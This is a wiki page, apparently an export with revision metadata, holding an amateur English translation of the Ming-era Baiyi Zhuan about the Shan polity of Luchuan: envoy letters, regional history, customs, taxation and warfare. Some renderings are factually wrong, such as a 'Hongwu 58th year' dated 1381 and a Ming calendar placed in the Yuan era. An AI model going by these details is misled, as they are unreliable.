within and bullied those without, an army would be raised to subdue him. If the countryside lay waste and the people were scattered, troops would be employed to reduce it. If a state relied on its strong defences and refused submission, troops would be raised to invade it. If [a ruler] murdered his own kinsmen, his crime would be formally established with guilt and [thus] be put to death. If a subject expelled or murdered his ruler, his crime would be made manifest, and he would be executed. If a state violated commands and defied government authority, it would be blocked off and cut off. If there were disorder both within and without, and people behaved like birds and beasts, they would be utterly destroyed. Such were the circumstances and punishments of the Nine Punitive Expeditions. You, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa), measured against China , it is fitting to ask the reason why you rely upon strength to attack the weak. How is this evident? Year after year, [you] have used troops to raid '''Chēlǐ''' ('''車里''') and at irregular times invaded and plundered the Eight Hundred.<ref>Short hand for Eight Hundred Wives and Daughters in Laws Country, the old name for Laos or Lan Na. </ref> [Hence] presuming upon your strength to attack Burma. The '''State of Kalay''' is small, and the population is few, and you have already subdued it. This is the account [I have given]. It is nothing more than words of admonition. China borders the "Four Barbarians"<ref>Four Barbarians: North - Di, East - Yi, South - Man and West - Rong. </ref> Its territory adjoins that of various chiefs, their populations live in close proximity. Of such states, there are some which I know by report, and some which I have seen with my own eyes, I have never relied on my strength to domineer over them, or extinguished their line of succession. The territory of Yunnan belongs to me, it might seem that I nevertheless used force to take it, but that is not so! Rather, a descendant of the Yuan Imperial House, Prince of Liang, relying on his Yuan Royal heritage, concealed those who committed offences against me and harboured my fugitives and enticed my frontier defenders to defect. Precisely for this reason, I had no alternative but to send a force and call for an offence with an army to carry out [that purpose]. I did not raise an army without cause. This was because the fortunes of the Yuan had changed by heaven's decree, and its descendants were no longer entitled to remain securely established there. Moreover, he [Prince of Liang] has caused trouble among my neighbouring states; the circumstances and principles made the outcome inevitable, and their subjugation was as easy as turning over one's hand. As for you, foolish '''Lùchuān''' ('''麓川'''), you first took it upon yourself to launch the Gold Teeth campaign, next you plotted against '''Jǐngdōng''' ('''景東''') and raided '''Dìngbiān''' ('''定邊'''). By right, this called for the dispatch of a large force of elite troops to determine the victor and vanquished. I released you and did not press on the matter. I have never compelled you to become a subordinated state. I allowed you to establish your own institutions and customs, and now several years have passed. You have been gradually encroaching upon neighbouring states with the intention of expanding your territory and taking possession of their people on your own authority, and will thereby be a cause of war for me in the southwest. Alas, this cannot be! The ancient sages of China have a saying: The mountains and rivers, the land and the people are all such things as constitute the Divine Realm; they cannot be forcibly possessed by men - only when heaven bestows them may they be obtained. You '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) do not cultivate friendly relations with your neighbouring states, you send troops on three fronts and gradually encroach upon the various states, such is your greed and such is your scheme. The states surrounding '''Lùchuān''' ('''麓川''') have, from ancient times to the present, each had their own rulers; they have never been swallowed up and annexed. Although I cannot prevent you, I have allowed you to act for yourself. If indeed this has brought about the Way of Heaven, you must respond to it through human affairs; perhaps what you do will thereby be acceptable. Alas! If, in accordance with my admonition, you preserve what is whole, then that is acceptable. But if you do not preserve it intact, and instead stake the whole upon action, suppose, however, that the whole is impaired, that would mean the whole is lost. Better yet, then, to preserve the whole and thereby seek lasting continuity. Would that not be admirable? |- |由是二國罢兵和好。 |because of the truth, the two countries ceased war and reconciled. |- |时古训等适遇百夷其部下酋長曰刀干孟者叛其國，余等以大义諭其部眾，而叛者闻之稍却。於是，思侖發欲留余等以为援，且進以金寶象馬等物，故余以书示之曰： |At the time, Guxun, happened to encounter One Hundred Barbarians subordinate chief named '''Dāo gànmèng''' ('''刀干孟''') betray the country. We and the others explained/instructed his followers on the basis of the great principle/righteous cause and as a result, the rebels hearing it gradually withdrew. As a result, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) wished to preserve us as a source of assistance. He offered gold, valuables, elephants, horses and other gifts. Hence I presented this letter to reveal to him saying: |- |『吾闻君上有怀遠之德，遠臣有敬上之心，始古迄今，莫违此义。夫君居九重之上，雖欲顷刻目尔遠臣，未可得也，臣处萬里之外，即欲朝暮身亲君上，亦未易得也。故朝廷有將命之官，使之宣德布威；而遠方有承命之宜，期其輸忠納款。今天子应天顺民，奉天为治，四维八極，尽为臣妾，無有专擅，不敢违逆。西南一区，夷酋亦眾，惟尔麓川，多蒙恩宠，既受以官，復加以服。况贤王亲临尔境，而德惠數及尔身。为尔计，則將度其心，量其才，何为而可以尽忠天子，何为而可以致敬贤王，又何为而可以安邊境而不干天怒，又何为而可以教百姓而不违法度？借曰邊境不安，必思曰，我事上未忠或未至，而眾不服我耶？百姓违法，必思曰，我守職已或有僭而民亦犯上耶？於是我則尽其忠，去其僭，如此，則邊境自安，人民從教矣。且吾以尔目擊效驗明之：往年思瓦發不服朝廷，轻犯金齒，天子雖未问罪，天則假手於達鲁方等，而思瓦發被戮。刀思朗不從尔命，窃寇定邊，尔雖未能息其兵，天則助威於我邊將，而刀思朗等即灭。惟尔知天命，達人理，故能享天禄，守人爵。迩来天子恐尔所为，或涉放肆，特敕諭以戒之；贤王恐尔無知，或生疑懼，特令旨以恤之。此恩此德，穷天極地。尔之披肝露胆，开心見诚，吾尽見矣；尔之尊重朝廷，敬奉殿下，告亦見矣。今尔固留吾辈，其意本美。近者尔甸寨少宁，刀干谋异，吾將回朝为尔明白其事，尔乃留我，使我不速還朝，假如刀干鸣尔留难天使之非於朝，則反误尔敬君之心矣。且尔赠以金、銀、裀褥、馬、象等物，吾固不受者，非見怪也，實相爱也。何則？朝廷恩尔，抚安尔邦，未嘗令使者取货於尔也。夫货财，饥不可以充口，疾不可以救死。况中國金玉成山，象馬若蚁，未以为寶也，惟所寶者，圣君、明王、忠臣、烈士、强兵、勇將、孝子、顺孙等事，其他财物，如粪土耳。姑以尔境内眾所闻者明之：昔隋史萬歲守邊，夷而贪财，以致殺身。梁毗一金不受，而大服夷眾。此事甚白。吾为圣朝天使，必不为财物所蛊，惟恐吾之使令往来小人，不体吾意，蛊惑尔心，特此叮咛。尔其备审此书，体吾真意，早送吾辈還朝，則尔敬君之心，不浅浅也。』 |I have heard that a ruler above possessed the virtue of cherishing those who are far away. Those distant subjects have a heart of reverence to their ruler above. From the beginnings of ancient times until now, none have deviated from this principle. The ruler resides above the Ninefold Gates, although he wishes to see you, his distant subject, even for a moment, this cannot be done. I, your servant [of the Emperor], reside ten thousand '''Lǐ''' ('''里''') away. Even if I wanted to be personally close to my ruler morning and evening, that too would not be easy to achieve. Therefore, the imperial court has officials who carry its commands, sending them to proclaim its virtue and make its authority manifest, while distant polities obey the commands and fulfil their duty, in expectation that they will render their loyalty and submit their allegiance [to the Emperor]. Now the Son of Heaven responds to Heaven and follows the people, governing in accordance with Heaven. Throughout the four quarters and the eight extremities, all are subjects, none acts autonomously, and none dares to oppose [the imperial order]. In the southwestern region, the chiefs of the Yi people are also numerous, but you, <strong>Lùchuān</strong> (<strong>麓川</strong>), have received especially abundant imperial favour; having already been granted an official position, you were furthermore granted the appropriate dress. Moreover, the worthy king personally came to your territory, and his benevolence and favour have repeatedly extended to you personally. For your own sake, you should consider your intentions and measure your abilities. What can you do that will enable you to fulfil your loyalty to the Son of Heaven? What can you do that will enable you to show proper respect to the worthy king? What can you do to keep the frontier peaceful without incurring heaven's anger? And what can you do to govern the common people without violating the laws and regulations? Suppose, for argument's sake, the frontier were to become unsettled, you must think yourself: "Perhaps I have not been sufficiently loyal in serving my superior, and that is why people do not submit to me?" If the common people violate the law, you should think: "Perhaps, although I have maintained my office, I have in some way overstepped my proper station, and thus the people too are offending against their superior? Then I would fully fulfil my loyalty and remove any acts of overstepping I had committed; in this way, the frontier will naturally become peaceful, and the people will follow proper instruction. Moreover, I shall make this clear to you through examples that you yourself have witnessed. In the past years, '''Sīwǎfā''' ('''思瓦發'''; Hso Vau Hpa) refused to submit to the court and rashly attacked the Golden Teeth. Althought the Son of Heaven did not call hbim to account, Heaven nevertheless acted through the hands of '''Dálǔfāng''' '''(達鲁方'''), and the others and '''Sīwǎfā''' ('''思瓦發'''; Hso Vau Hpa) was killed. '''Diāosīlǎng''' ('''刁思朗''') did not obey your command and secretly raided '''Dìngbiān''' ('''定邊'''). Althought you were able to bring his hostilities to an end, Heaven then lent its might to my frontier commanders and '''Diāosīlǎng''' ('''刁思朗''') and the others were immediately destroyed. It is because you understand the Mandate of Heaven and comprehend principles of human affairs that you can enjoy heaven's emoluments and preserve your human rank. Recently, the Son of Heaven feared that what you were doing might become excessive, and specially issued this admonition to warn you; the Worthy King feared that your lack of understanding might give rise to doubt and fear, and specially sent his instructions to show you compassion. Such grace and such benevolence extend to the furthest reaches of Heaven and Earth. You're laying your heart completely bare, showing your sincerity, I have seen it all. [Your] respect for the imperial court [and] reverant service of the Emperor has been reported as well. Now you firmly retain our party, itself well-intentioned. Recently, your districts and stockards have enjoyed peace, while '''Dāo''' '''Gàn''' ('''刀干''') have conceived some other designs. I was going to return to court to make the matter clear on your behalf, yet you have kept me here, causing me not to return promptly to court. Suppose <strong>Dāo Gàn</strong> (<strong>刀干</strong>) were to report to the court your offence of detaining and obstructing the imperial envoy, then that would compromise your sincere respect for your ruler. Moreover, you presented us with gold, silver, padded mats, bedding, horses, elephants, and other such things, my refusal to accept them is certainly not because I take offense. The court has shown you favour and pacified your realm. It has never instructed its envoys to take goods from you. Regarding wealth and possession, when one is hungry, they cannot fill the mouth; when one is sick, they cannot save one from death. Besides, in China, gold and jade are piled as high as mountains, while elephants and horses are as numerous as ants; we do not regard these things as treasures. What we do treasure are the deeds of sage rulers, enlightened kings, loyal ministers, righteous men, strong armies, brave generals, filial sons, dutiful grandsons and things of this kind. All other material possessions are like dung and earth and nothing more. For the moment, by means within your territory, what the people commonly hear that which should be clear. In former times, <strong>Shǐ Wànsuì (史萬歲)</strong> guarded the frontier; he was greedy in dealing with the tribes and thereby brought about his own death. '''Liáng Pí''' '''(梁毗''') did not accept even a single piece of gold, thereby greatly earning the respect of the Yi people. The matter is very evident. I am an imperial envoy of the sacred dynasty; I certainly cannot be corrupted by material wealth. I only fear that petty men among those who travel back and forth on my missions do not do not consider my intentions and instead mislead or corrupt the mind. For this reason, I have given you special admonition. You should carefully examine this letter in full and understand my true intention. Send us back to court promptly, then your heart of reverence for the ruler would not be so shallow. |- |书至，思侖發悦服，遂邀至其家，設宴畢，與其眾送出境外。 |When the letter arrived, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) was pleased, and received it favourably. Thereupon invited him to his home. After the banquet, together with his retinue escorted them beyond the borders. |- |百夷，由金齒、蒲漂過怒江即其境。沿江東數十里，上有高良弓頗险。其岭有一寨。過一寨下四十里，地名养列，自此抵麓川無险隘之虞。由麓川经蠻牛、莽港等路，渡谨卯，從蒙戛等甸至麻林界，登金沙江之舟，下流二十日至緬國。國王眾呼为卜剌浪，王之妻呼为米泼剌。 |The One Hundred Barbarians, via the Gold Teeth, '''Pú''' ('''蒲'''), '''Pyu people''', upon crossing the '''Nùjiāng River''' ('''怒江''') reach their territory. Along the river, east about ten <strong>Lǐ</strong> (<strong>里</strong>), there is the tall, rugged, dangerous Gaoligong [mountains] above. The mountain range has one stronghold. Passing a stronghold, below forty '''Lǐ''' ('''里''') is a place named '''Yǎng liè''' ('''养列'''), since then reaching the '''Lùchuān''' ('''麓川''') there is no concern of dangerous narrow passes. Following '''Lùchuān''' ('''麓川''') pass through the routes of '''Mánniú''' ('''蠻牛'''), '''Mǎnggǎng''' ('''莽港''') and other places, crossing '''Jǐnmǎo''' ('''谨卯'''), from the district of '''Ménggā''' ('''蒙戛''') to the '''Málín''' ('''麻林''') border, [one must] board a boat on the '''Jīnshā River''' ('''金沙江'''), downriver twenty days one reaches Burma. The king is referred by the populace as '''Bōlàlàng''' ('''卜剌浪'''), the king's wife is referred to as '''Mǐpōlà''' ('''米泼剌'''). |- |} ==References== {{reflist}} [[Category:Chinese literature]] [[Category:Non-fiction books]] [[Category:Medieval historical works]] [[Category:Works originally in Chinese]] [[Category:Pages with foreign language text]] [[Category:Indigenous peoples]] [[Category:Guidebooks]] [[Category:History of China]] [[Category:Wars]] [[Category:Diplomacy of China]] [[Category:Subject:Military history]] [[zh:蛮书]] 82gdcnlec4nji26vf8i0xst498c14cu 4670892 4670890 2026-09-18T11:13:28Z Taitesena 3485636 4670892 wikitext text/x-wiki __NOTOC__ {{Translation header | title = Baiyi Zhuan (百夷傳) | author = Qian Guxun (錢古訓) | override_editor = | translator = 'Taitesena' | section = | previous = | next = | shortcut = | year = | language = zh | original = | notes = The Baiyizhuan, or, '''Biography of 100 Barbarians''', was compiled by Qian Guxun (錢古訓) with Li Sicong (李思聪) and sent to the Ming Dynasty but never formally published yet stored away. Copies emerged under both names however, most agree that both envoys wrote their own accounts of Myanmar to control the issue of Shan Kings on the borders. This version is attributed to Qian Guxun and sourced from Wikisource. }} == Front Matter == Translator Note: For the non-letter transcripts, I have used complete manual lookups and translation to English. Due to the informal, poetic and bureaucratic language, I took external assistance to guide me including AI only to clarify the meaning of the characters in the context as I struggled to articulate how a 14th century bureaucrat would write their letters to rulers. I still manually wrote and formatted it with the lookups however, but have declared this for transparency as part of my workflow. However, the ethnic nomenclature and practices and historical events detailing which hold stronger merit have not lost validity in that respect. ==Translation== ===Introduction=== {| class="wikitable" style="text-align:center; width:80%;" |+ Premable to the purpose and context of the document and political situation. |- ! scope="col" | Original ! scope="col" | Translation |- |百夷，在雲南西南數千里，其地方萬里。景東在其東，西天古刺在其西，八百媳婦在其南，吐番在其北；東南則車里，西南則緬國，東北則哀牢〈（今之金齒衛也）〉，西北則西番、回紇。 |[The] One Hundred Barbarians are a few thosand '''Lǐ''' ('''里''') southwest of Yunnan. There region is very far away. '''Jǐngdōng''' ('''景東''') is east of them. The western regions Gǔ cì (古刺) [people] are west of them. South of them are the '''Eight Hundred Xífù''' ('''八百媳婦'''; Laos). North of them is Tibet. Southeast of them is Chē lǐ (車里), southwest is Burma, Northeast is '''Āiláo''' ('''哀牢''')<ref>The ancient tribal confederation of the Yongchang-Gaoligong area.</ref> Today, these are the gold tooth people. Northwest of them is Western Barbarians and '''Huíhé''' ('''回紇'''; Uyghur people). |- |俗有大百夷、小百夷、漂人、古剌、哈剌、緬人、结些、吟杜、弩人、蒲蠻、阿昌等名，故曰百夷。 |The customs of Greater One Hundred Barbarians, the Lesser One Hundred Barbarians, Pyu people, Gǔ cì (古刺) [people], Hā cì (哈刺) [people], Burmese people, '''jiēsuò''' （'''结些''')<ref>There is reason to believe that these may be the Zo people. The Jie however is difficult to understand, likely a terminology transfer issue from intermediaries. Like the Mosuo people, I suggest this to be read as Jie Suo. If so, this would be the earliest mention of Zo terminology since Vincent Sangermono.</ref>, '''Yíndù'''（'''吟杜''')<ref>These are only mentioned once in the document. Whether it's a mix-up with Hadu, or referring to Indians, is unknown.</ref>, Nǔ people (弩人; crossbowman people), Pú (蒲) and Āchāng (阿昌), among others, can be spoken of as the One Hundred Barbarians. |- |漢以前未嘗通中國，諸葛亮征蠻，亦抵怒江而止。唐天寶中，夷人始随爨歸王入朝。其眾各有部領，不相統屬。 |Before the Han dynasty, they had no contact with China.<ref>The main exception may be the Ailao people.</ref> '''Zhūgé liàng''' ('''諸葛亮''') went on an expedition against the barbarians, where he stopped right up against the '''Nùjiāng River''' ('''怒江'''). During the Tianbao Era of the Tang Dynasty, the barbarians began to follow the '''Cuàn''' ('''爨''') and '''Guī''' ('''歸''') clan leaders.<ref>The '''Cuàn''' ('''爨''') eventually founded the Kingdom of Nanzhao, which ruled powerfully in the region, competing with Tibet and Tang China.</ref> The people had their own leaders and were not unified. |- |元憲宗三年，世祖由吐番入麗江，自葉榆平至雲南〈（葉榆即大理也）〉。明年，命將兀良哈臺征降夷地。遂分为路二十、府四、甸四十有四、部二十有六、各設土官，置金齒都元帥府領之。有所督，委官入其地，交春即還，避瘴气也。 |In Emperor Xianzong's 3rd year in the Yuan Dynasty, Emperor Shìzǔ (世祖; Kublai Khan) entered '''Lìjiāng''' ('''麗江''') from Tibet and himself in '''Yèyú''' ('''葉榆'''; Present Day Dali) brought peace to Yunnan. The following year, [he] commanded General UriyangKhadai to pacify the barbarian lands. The region was transformed into twenty circuits, four prefectures, forty-four districts and twenty-six departments, each with indigenous officials overseen by the Gold Teeth Commander in Chief.<ref>A Tai Shan Leader likely.</ref> Officials were appointed to administer certain lands, returning by spring to avoid malarial miasma. |- |至正戊子，麓川土官思可發數侵扰各路，元帥搭失把都討之，不克。思可發益吞并諸路，而遣其子滿散入朝，以輸情款。雖奉正朔，納職貢，而服用制度，擬於王者。思可發死，子昭併發立。八年，傳其子臺扁。踰年，臺扁從父昭肖發殺之而自立，期年，盗殺昭肖發，眾立其弟思瓦發。 |In the the 8th year of the Zhizheng era ('''1348 AD''') Lùchuān (麓川) indigenous chief '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) had been countlessly harassing and invading every road. The Commander-in-Chief '''Dāshībǎ''' （'''搭失把'''） sent armed forces to the capital but was unable to. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) annexed further circuits and dispatched his son '''Mǎnsàn''' ('''滿散''') to the imperial court to offer terms of service. Although they accepted tribute and the official calendar of the Ming dynasty, their clothes and administration resembled that of a monarchy. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) died, his son Zhāo bìngfā ('''昭併發'''; Hsö Pem Hpa) was established. Eight years later it passed to '''Táibiǎn''' ('''臺扁'''; Hsö Siu Hpa). A year later, '''Táibiǎn's''' ('''臺扁'''; Hsö Siu Hpa) uncle '''Zhāo xiàofā''' ('''昭肖發'''; , Hsö Kap Hpa) killed him himself and seized power. A year later, bandits killed '''Zhāo xiàofā''' ('''昭肖發'''; Hsö Kap Hpa) and established his younger brother '''Sīwǎfā''' ('''思瓦發'''; Hso Vau Hpa) [as ruler]. |- |國朝洪武辛酉，平雲南。明年，思瓦發寇金齒。是冬，思瓦發略于者闌、南甸。其屬達鲁方等輙立滿散之子思侖發，而殺思瓦發於外。即譴使貢白象、犀、馬、方物於朝。廷議不忍絕以化外，乃命福建左參政王鈍率雲南部校郭京美等，諭以向背利害，約以每歲貢獻之率，而遂内附。於是授思侖發为麓川平緬軍民宣慰。丙寅，復寇景東。明年，部屬刁思朗犯定邊，天子命西平侯沐英總兵敗之，獲刁思朗，夷人懼服。上以遠人不加約束，故官稱制度皆從其俗。 |In the current dynasty, in the 58th year (Xinyou) of the Hongwu Emperor ('''1381 A.D.'''), Yunnan was pacified. The next year, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) plundered the Gold Teeth barbarians. That winter, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) captured the territory of '''Zhělán''' ('''者闌''') and '''Nándiàn''' ('''南甸'''). His subordinate '''Dálǔfāng''' （'''達鲁方'''）placed '''Mǎnsàn's''' ('''滿散''') son, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as ruler and killed '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) when outside. The offered tribute included white elephants, rhinoceroses, horses and other local products. The palace could not bear to cut ties with outside spheres of influence and commanded the Fujian Left Vice Official '''Wáng Dùn''' ('''王鈍''') to lead in the checking of the city walls of Yunnan, order discussions of pros and cons of allegience, discuss the annual tribute rate and secured their submission. He conferred '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as the Burma Pacification Commissioner. In the third year ('''1386 A.D.'''), he returned to invade '''Jǐngdōng''' ('''景東'''). The next year, his subordinate '''Diāosīlǎng''' ('''刁思朗''') invaded '''Dìngbiān''' ('''定邊'''). The Emperor ordered Marquis of '''Xīpíng''' ('''西平''') '''Mù yīng''' ('''沐英''') to lead an army to defeat him where he caught '''Diāosīlǎng''' ('''刁思朗'''). The barbarians became fearful and submitted. In order not to restrict those far-away peoples, the official system and administration were all in their customs. |- |其下稱思侖發曰『昭』，猶中國稱君主也。所居麓川之地曰者闌，猶中國稱京師也。其屬則置『叨孟』以總統政事，兼領軍民。『昭錄』領萬餘人，『昭綱』領千餘人，『昭伯』領百人；領一伍者为『昭哈斯』，領一什者为『昭准』；皆屬於『叨孟』。又有『昭錄令』，遇有征调，亦與『叨孟』統軍以行。其近侍呼为『立者』，閽寺呼为『割斷』。大小各有分地，任其徭賦。 |'''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) is called '''Zhāo''' ('''昭'''), like how China uses "Lord". '''Lùchuān's''' ('''麓川''') [ruler's] dwelling place is called '''Zhělán''' ('''者闌'''), like how China uses the term "Capital". Their subordinates are known as '''Dāomèng''' ('''叨孟'''), who generally handled political affairs while simultaneously leading the military and civilians. '''Zhāolù''' ('''昭錄''') led over ten thousand households, '''Zhāogāng''' ('''昭綱)''' led over a thousand households, '''Zhāobó''' ('''昭伯''') led a hundred households. Those who led five soldiers were known as '''Zhāohāsī''' ('''昭哈斯'''), those who led ten soldiers were known as '''Zhāozhǔn''' ('''昭准'''). Each [of these] were part of the '''Dāomèng''' ('''叨孟'''). There is also '''Zhāolùlìng''' ('''昭錄令''') who also happen to carry out conscription for the '''Dāomèng''' ('''叨孟''') to gather an army to lead. Their attendants were known as '''Lìzhě'''（'''立者'''). Doorkeepers of Buddhist temples were called '''Gēduàn''' ('''割斷'''). Big or small each had distributed land appointed and endowed to them as compulsory servicefor corvee and taxes. |- |上下僭奢，雖微職亦繫鈒花金銀帶。貴賤皆戴筍籜帽，而飾金寶於頂，如浮圖狀，懸以金玉，插以珠翠花，被以毛纓，綴以毛羽。貴者衣綺麗。每出入，象馬僕從滿途。象以銀鏡數十聯綴於羈靮，緣以銀釘，鞍上有闌如交椅狀，藉以裀褥，上設錦障蓋，下懸銅響鈴，坐一奴鞍後，執長鉤驅止之。遇貴於己者，必讓途而往。凡相見必合掌而拜，習胡人之跪。長於己者必拜跪之，言則叩頭受之。叨孟以下見其主，則膝行以前，二步一拜，退亦如之。執事於貴人之側，雖跪終日無倦狀。貴人之前過，必磬折鞠躬。宴会則貴人上坐，其次列坐於下，以逮至賤。先以沽茶及蒌葉、檳榔啖之（沽茶者，山中茶葉，春夏間采煮之，實於竹筒内，封以竹箬，過一二歲取食之，味極佳，然不可用水煎飲）。次具飯，次進酒饌，俱用冷而無熱。每客必一仆持水瓶側跪，俟嗽口盥手而後食。食畢亦如之，而後起。客十則十人各行一客。酒或以杯，或用筒（筒以蕨楷，或用鵝翎管連贯，各長丈餘，漆之而飾以金，假若一酿酒，則漬以水一滿瓮，插筒手中，立標以驗其盏數，人各以次舉筒咂之。咂酒一盏，仍漬水一盏，傳之次客，味甚佳，至淡，水方止，俗呼为咂酒）。酒與食物必祭而後食，食不用筯。酒初行，一人大噪，眾皆合之，如此者三，乃舉樂。樂有三等：琵琶、胡琴、等笛、響盏之類，效中原音，大百夷樂也。笙阮、排簫、箜篌、琵琶之類，人各拍手歌舞，作緬國之曲，緬樂也。銅饒、銅鼓、響板、大小長皮鼓，以手拊之，與僧道樂頗等者，車里樂也。村甸間擊大鼓，吹芦笙，舞干为宴。長者授卑賤酒食，必叩頭受之，易以他器而食。食畢，仍叩頭而退。 |The people, both high and low [in status], were extravagantly overstepping [in their dress]. Even small duty officials fastened engraved, patterned belts of gold and silver. [Both] nobles and commoners wore bamboo-shoot-woven hats and decorated them with gold, like a crown resembling pagodas, hanging with jade and gold and inserted with pearls and colourful gems, covered with tassels and quilted feathers. The clothes of wealthy individuals are enchantingly beautiful. Whenever one goes out, elephants, horses, and servants fill the roads. The elephants have about ten or so silver mirrors attached to their reins and bridles, edged with silver nails. On the saddle, there is a railing resembling an old wooden-style armchair with cushion-like under padding, a mattress, and brocade above the top and copper ringing bells below [it]. A servant was seated behind the saddle, grasping a long hook to urge and stop [the elephant]. Upon encountering a wealthy person, they certainly yield the way to them. Commonly, when meeting one another, they certainly clasp hands and bow, adopting the kneeling [custom] of the Northwestern peoples [of China]. Elders to oneself are bowed to and kneelt before, and when speaking, they are subjected to kowtow to them. Those below '''Dāomèng''' ('''叨孟'''), seeing their masters, kneel before them, every two steps a bow, and repeat it during withdrawal. Attendants are at a wealthy person's side, despite kneeling all day, do not appear tired. When a wealthy person passes by, they bow deeply.<ref>The sentence is poetically describing the bow as "bending the body as to resemble 磬, a type of percussion instrument". </ref> In banquets, the wealthy are seated first, then next in line are the ones below them and so on, by means to the lowest [of status]. First, they are given tea, areca nuts and betel leaves (The given tea leaves are [harvested] in mountains and brewed in Spring and Summer, stuffed into bamboo tubes, sealed with bamboo leaves for one to two years, ready for consumption, tasting extremely fine, however, cannot be brewed by boiling in water for drinking. Next [to] be provided is rice, following that is wine and delicacies are are [consumed] cold and unheated. Every guest has a servant kneeling on the side holding a water bottle, waiting to cough and rinse the mouth and hands with water and then eat. [Upon] finishing eating this is repeated and then they rise. In the case of ten guests, ten people attend them, one per guest. Wine is either served in a cup or a tube (The tubes are made from Pistachio Bracken or goose plume linked together). Every length is one '''Zhàng''' ('''丈;''' approximately 3m) painted and decorated with gold. If brewing wine, one pot of water is added. Inserting the tube into the hand, it is used to check for the number of cups [it can hold]. Each person lifts the tube to sip from it. After sipping a cup, a cup of water is added, and it is passed to the next person; the taste is exceedingly fine. When the wine's taste dilutes, water is stopped, and this is called '''sipping wine'''.) Wine and good must be sacrificed, and then they eat. Chopsticks are not used to eat. At the begining of the wine [ceremony], one person loudly shouts and multiple people all join in. This is done three times, and then music is played. There are three such types of music: Chinese lute, Huqin (Chinese fiddle) and the flute with ringing cups and so on. It imitates the sounds of the central region<ref>The Yellow River Basin area of China. </ref> and the Great White barbarians, too. Bagpipe, lutes, panpipes, harp, pipa and so on. People each clap their hands and dance. It is performed in Burmese tunes and music. Copper gong, bronze drum, castanets, big, small and long leather drums struck with the hand. It is similar to Buddhist and Taoist music, as well as '''Chēlǐ''' ('''車里''') music. Villages and suburbs have space for striking bass drums, blowing reed pipes and dancing for the feast. Elders give food and drink to the lowly [people], who certainly must bear to kowtow them to exchange utensils and eat. [Upon] finishing eating, they still kowtow and then retreat. |- |凡貿易必用銀，雜以銅，鑄若半卵狀，流通商賈間。官無倉庾，民無税粮。每年秋季，其主遣亲信部屬往各甸，计房屋征金銀，谓之取差發（房屋一間，大者征銀一两、三两，小者一两而止）。無中國文字，小事刻竹木，大事作緬书，皆旁行为记。刑名無律，不知鞭挞，轻罪則罚，重罪則死。或殺，或用人扱殺。或用象打，或投於水，或以绳帛缢。男婦不敢为奸盗，犯則殺之。 |All commercial trade must use silver, mixed with copper, cast to appear like a half egg [shape] to circulate among merchants. The government has no granaries,<ref>There are two characters for granaries, the second is for small private ones, signifying that most did not have this system at all. </ref> the people [likewise] have no grain tax. Every autumn, the owners dispatch trusted aides and subordinates to go to each suburb to calculate and levy households' gold and silver. This is called to go collect money. (For each house: large ones are taxed one or three [taels] of silver, small ones are taxed one tael.) There is no Chinese script; small matters are carved into bamboo or wood, big matters are written into Burmese script, all written horizontally for recording. No laws govern punishment; they do not know whipping or corporal punishment. Petty crimes are penalised, and serious crimes lead to death. Some are killed [directly], while some have another person employed to kill them. Some use elephants to crush them, some throw them in water, while some are hanged with ropes. Men and women do not dare commit adultery or robbery, to violate so will kill them. |- |所居無城池濠隍，惟编木立寨，貴賤悉构以草楼，無窗壁门户，时以花布障围四壁，以蔽风雨而已。邮傅一里設一小楼，數人守之，公事雖千里遠，报在顷刻。無軍民之分，聚則为軍，散則为民。遇有战斗，每三人或五人出軍一名，择其壮者为正軍，呼为『锡剌』。锡剌持兵御敌，余人荷所供。故軍行五六萬，战者不滿二萬。兵行不整，先後不一。多以象为雄势，战則缚身象上。裹革兜，被銅铁甲，用長镖干弩，不習弓矢。征战及造作用事，遇日月食則罢之，毁之。 |The [ruler's] dwelling place has no walls, water moats, trenches or dry moats, only wooden stockades erected. Both nobles and commoners all constructed thatched houses with no windows, ramparts or doors, just printed cloth covering around all four walls, as to cover [from] wind and rain and nothing more. Every mile, there was a small post office, a few people guarded it, [thus] documents even as far as a thousand miles can be reported instantly. There is no distinction between military and civilian [people]. Once assembled, they became soldiers; once scattered, they became civilians. Upon encountering a war, every three or five people would produce one soldier; they would select the strongest to become the principal armed force, known as '''Xīlà''' ('''锡剌'''). The '''Xīlà''' ('''锡剌''') grasped weapons to defend against the enemy, while surplus people carried to supply [them]. Hence, an army of fifty or sixty thousand will have fighters not filling twenty thousand. The soldiers were not organised; their rank formations were not uniform. Many used elephants for their imposing power; fighters tied their bodies onto the elephants. They wrapped leather into helmets, and were covered with copper mail plating, using long spears and crossbows, and did not practice bow and arrow. Any war or manufacturing encountering an eclipse would cease or [either] be destroyed. |- |所用多陶器，惟宣慰用金銀玻璃，部酋間用金銀酒器。凡部酋出，其器用、仆妾、财寶之類皆随之，從者千余，昼夜随所适，必作宴笑樂。 |Most utensils [they use] were pottery. Only the '''Xuānwèi''' ('''宣慰''') use gold, silver and glass. Tribal chiefs among them used gold, silver and wine cups. Commonly [when] tribal chiefs go out, their utensils, servants, concubines, money, jewels and so on all subsequently all follow him. He is accompanied by over a thousand followers. Day and night, wherever he subsequently goes, there will be feasts, laughter and music. |- 